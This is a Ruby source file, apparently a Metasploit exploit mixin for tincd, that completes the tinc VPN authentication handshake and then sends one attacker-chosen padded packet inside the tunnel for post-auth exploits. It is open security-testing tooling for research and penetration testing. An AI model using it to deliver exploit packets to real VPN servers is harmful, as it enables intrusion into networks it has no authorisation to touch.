342 lines
11 KiB
Ruby
342 lines
11 KiB
Ruby
require 'msf/core'
|
|
require 'msf/core/exploit/tcp'
|
|
|
|
require 'securerandom'
|
|
require 'openssl'
|
|
require 'digest/sha1'
|
|
|
|
module Msf
|
|
# This module does a handshake with a tincd server and sends one padded packet
|
|
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
|
|
module Exploit::Remote::TincdExploitClient
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
BF_BLOCKSIZE = 64 / 8
|
|
BF_KEY_LEN = 16
|
|
BF_IV_LEN = 8
|
|
|
|
#
|
|
# Module options
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
register_options(
|
|
[Opt::RPORT(655),
|
|
# As this is only for post-auth exploits, you should know the value of the
|
|
# following variables by simply checking
|
|
# your configuration.
|
|
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
|
|
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
|
|
# You should see CLIENT_NAME in cleartext in the first message to the
|
|
# server by your usual tinc client (tcpdump or
|
|
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
|
|
# this is located in the config folder, e.g. in FreeBSD
|
|
# there is the client public key file /usr/local/etc/tinc/hosts/home
|
|
# for the client "home"
|
|
# If you don't have a clue, maybe just try the filename of your private
|
|
# key without file extension
|
|
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
|
|
], self
|
|
)
|
|
end
|
|
|
|
#
|
|
# Setting up variables and calling cipher inits with file paths from configuration
|
|
#
|
|
def setup_ciphers
|
|
@state = :id_state
|
|
@buffer = ''
|
|
@inbuffer = ''
|
|
@encryption_queue = []
|
|
|
|
@packet_payload = nil
|
|
@keep_reading_socket = false
|
|
|
|
@server_key_len = nil
|
|
@client_key_len = nil
|
|
@client_private_key_cipher = nil
|
|
@hex_enc_key_s1 = nil
|
|
@bf_enc_cipher = nil
|
|
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
|
|
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
|
|
@bf_dec_cipher = nil
|
|
end
|
|
|
|
#
|
|
# The main method that will be called that will call other methods to send first message
|
|
# and continously read from socket and ensures TCP disconnect at the end
|
|
#
|
|
def send_recv(packet_payload)
|
|
@packet_payload = packet_payload
|
|
@keep_reading_socket = true
|
|
connect
|
|
begin
|
|
# send the first message
|
|
id
|
|
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
|
|
while @keep_reading_socket
|
|
process_data(sock.get_once)
|
|
end
|
|
rescue Errno::ECONNRESET
|
|
if @state == :metakey_state
|
|
fail 'Server reset the connection. Probably rejecting ' +
|
|
'the private key and/or client name (e.g. client name not associated ' +
|
|
'with client public key on server side). ' +
|
|
'Wrong server public key possible too. ' +
|
|
'Please recheck client name, client private key and ' +
|
|
'server public key.'
|
|
else
|
|
fail 'Server reset the connection, reason unknown.'
|
|
end
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|
|
|
|
#
|
|
# Reading of certificate files and parsing them, generation of random keys
|
|
# and intialization of OFB mode blowfish cipher
|
|
#
|
|
def init_ciphers(server_file, client_file)
|
|
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
|
@server_key_len = server_public_key_cipher.n.num_bytes
|
|
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
|
|
@client_key_len = @client_private_key_cipher.n.num_bytes
|
|
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
|
|
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
|
|
|
|
# we don't want this to happen here:
|
|
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
|
|
# simple solution: choose the key_s1 with a leading zero byte
|
|
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
|
|
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
|
|
|
|
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
|
|
|
|
offset_key = @server_key_len - BF_KEY_LEN
|
|
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
|
|
bf_enc_key = key_s1[offset_key...@server_key_len]
|
|
bf_enc_iv = key_s1[offset_iv...offset_key]
|
|
|
|
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
|
|
@bf_enc_cipher.encrypt
|
|
@bf_enc_cipher.key = bf_enc_key
|
|
@bf_enc_cipher.iv = bf_enc_iv
|
|
|
|
# #Looks like ruby openssl supports other lengths than multiple of 8!
|
|
# test = @bf_enc_cipher.update('A'*10)
|
|
# test << @bf_enc_cipher.final
|
|
# puts "Testing cipher: "+test.unpack('H*')[0]
|
|
end
|
|
|
|
#
|
|
# Depending on the state of the protocol handshake and the data we get back
|
|
# from the server, this method will decide which message has to be sent next
|
|
#
|
|
def process_data(data)
|
|
@inbuffer += data if data
|
|
case @state
|
|
when :id_state
|
|
if line?
|
|
data = read_line
|
|
vprint_status("Received ID from server: [#{data[0..30]}]")
|
|
@state = :metakey_state
|
|
# next expected state
|
|
metakey
|
|
end
|
|
when :metakey_state
|
|
if line?
|
|
data = read_line
|
|
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
|
|
data = data.split(' ')
|
|
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
|
|
hexkey_s2 = data[5].rstrip # ("\n")
|
|
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
|
|
@enckey_s2 = [hexkey_s2].pack('H*')
|
|
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
|
|
|
|
# metakey setup according to protocol_auth.c
|
|
# if(!EVP_DecryptInit(c->inctx, c->incipher,
|
|
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
|
|
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
|
|
# ))
|
|
offset_key = @client_key_len - BF_KEY_LEN
|
|
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
|
|
bf_dec_key = key_s2[offset_key...@client_key_len]
|
|
bf_dec_iv = key_s2[offset_iv...offset_key]
|
|
|
|
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
|
|
@bf_dec_cipher.encrypt
|
|
@bf_dec_cipher.key = bf_dec_key
|
|
@bf_dec_cipher.iv = bf_dec_iv
|
|
# don't forget, it *does* matter if you do a
|
|
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
|
|
vprint_status('Metakey handshake/exchange completed')
|
|
@state = :challenge_state
|
|
challenge
|
|
end
|
|
when :challenge_state
|
|
need_len = 2 * @client_key_len + 3
|
|
if @inbuffer.length >= need_len
|
|
data = pop_inbuffer_and_decrypt(need_len)
|
|
vprint_status("Received challenge from server: " +
|
|
"[#{data.unpack('H*')[0][0..30]}...]")
|
|
data = data.split(' ', 2)
|
|
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
|
|
challenge2 = data[1][0...2 * @client_key_len]
|
|
challenge2 = [challenge2].pack('H*')
|
|
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
|
|
@state = :challenge_reply_state
|
|
challenge_reply(challenge2)
|
|
end
|
|
when :challenge_reply_state
|
|
need_len = 43
|
|
if @inbuffer.length >= need_len
|
|
data = pop_inbuffer_and_decrypt(need_len)
|
|
vprint_status("Received challenge reply from server:" +
|
|
" [#{data.unpack('H*')[0][0..30]}...]")
|
|
@state = :ack_state
|
|
ack
|
|
end
|
|
when :ack_state
|
|
need_len = 12
|
|
if @inbuffer.length >= need_len
|
|
data = pop_inbuffer_and_decrypt(need_len)
|
|
vprint_status("Received ack (server accepted challenge response):" +
|
|
"[#{data.unpack('H*')[0][0..30]}...]")
|
|
@state = :done_state
|
|
send_packet
|
|
end
|
|
end
|
|
end
|
|
|
|
#
|
|
# Encryption queue where waiting data gets encrypted and afterwards
|
|
# the remaining messages get sent
|
|
#
|
|
def handle_write
|
|
# handle encryption queue first
|
|
unless @encryption_queue.empty?
|
|
msg = @encryption_queue[0]
|
|
@encryption_queue.delete_at(0)
|
|
@buffer = @bf_enc_cipher.update(msg)
|
|
@buffer << @bf_enc_cipher.final
|
|
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
|
# the resulting block is used to encrypt the next block.
|
|
end
|
|
|
|
unless @buffer.empty?
|
|
sent = send_data(@buffer)
|
|
vprint_status("Sent #{sent} bytes: " +
|
|
"[#{@buffer.unpack('H*')[0][0..30]}...]")
|
|
@buffer = @buffer[sent..@buffer.length]
|
|
end
|
|
end
|
|
|
|
#
|
|
# Simple socket put/write
|
|
#
|
|
def send_data(buf)
|
|
sock.put(buf)
|
|
end
|
|
|
|
#
|
|
# Decryption method to process data sent by server
|
|
#
|
|
def pop_inbuffer_and_decrypt(size)
|
|
# In ruby openssl OFM works not only on full blocks, but also on
|
|
# parts. Therefore no worries like in pycrypto and no
|
|
# modified decrypt routine, simply use the cipher as is.
|
|
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
|
|
data << @bf_dec_cipher.final
|
|
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
|
# the resulting block is used to decrypt the next block.
|
|
end
|
|
|
|
#
|
|
# Read up to the next newline from the data the server sent
|
|
#
|
|
def read_line
|
|
idx = @inbuffer.index("\n")
|
|
data = @inbuffer.slice!(0, idx)
|
|
@inbuffer.lstrip!
|
|
data
|
|
end
|
|
|
|
#
|
|
# Check if we already received a newline, meaning we got an
|
|
# entire message for the next protocol step
|
|
#
|
|
def line?
|
|
!!(@inbuffer.match("\n"))
|
|
end
|
|
|
|
#
|
|
# Start message method after TCP handshake
|
|
#
|
|
def id
|
|
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
|
|
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
|
|
@buffer += msg
|
|
handle_write
|
|
end
|
|
|
|
#
|
|
# Sending metakey (transferring a symmetric key that will get encrypted with
|
|
# public key before beeing sent to the server)
|
|
#
|
|
def metakey
|
|
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
|
|
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
|
|
@buffer += msg
|
|
handle_write
|
|
end
|
|
|
|
#
|
|
# Send challenge random bytes
|
|
#
|
|
def challenge
|
|
vprint_status('Sending challenge (ciphertext)')
|
|
challenge = SecureRandom.random_bytes(@server_key_len)
|
|
msg = "2 #{challenge.unpack('H*')[0]}\n"
|
|
@encryption_queue.push(msg)
|
|
handle_write
|
|
end
|
|
|
|
#
|
|
# Reply to challenge that was sent by server
|
|
#
|
|
def challenge_reply(challenge2)
|
|
vprint_status('Sending challenge reply (ciphertext)')
|
|
h = Digest::SHA1.hexdigest(challenge2)
|
|
msg = "3 #{h.upcase}\n"
|
|
@encryption_queue.push(msg)
|
|
handle_write
|
|
end
|
|
|
|
#
|
|
# Ack state to signalise challenge/response was successfull
|
|
#
|
|
def ack
|
|
vprint_status('Sending ack (signalise server that we accept challenge' +
|
|
'reply, ciphertext)')
|
|
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
|
|
handle_write
|
|
end
|
|
|
|
#
|
|
# Sending a packet inside the VPN connection after successfull protocol setup
|
|
#
|
|
def send_packet
|
|
vprint_status('Protocol finished setup. Going to send packet.')
|
|
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
|
|
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
|
|
# padding
|
|
msg += 'B' * plen
|
|
@encryption_queue.push(msg)
|
|
@keep_reading_socket = false
|
|
handle_write
|
|
end
|
|
end
|
|
end
|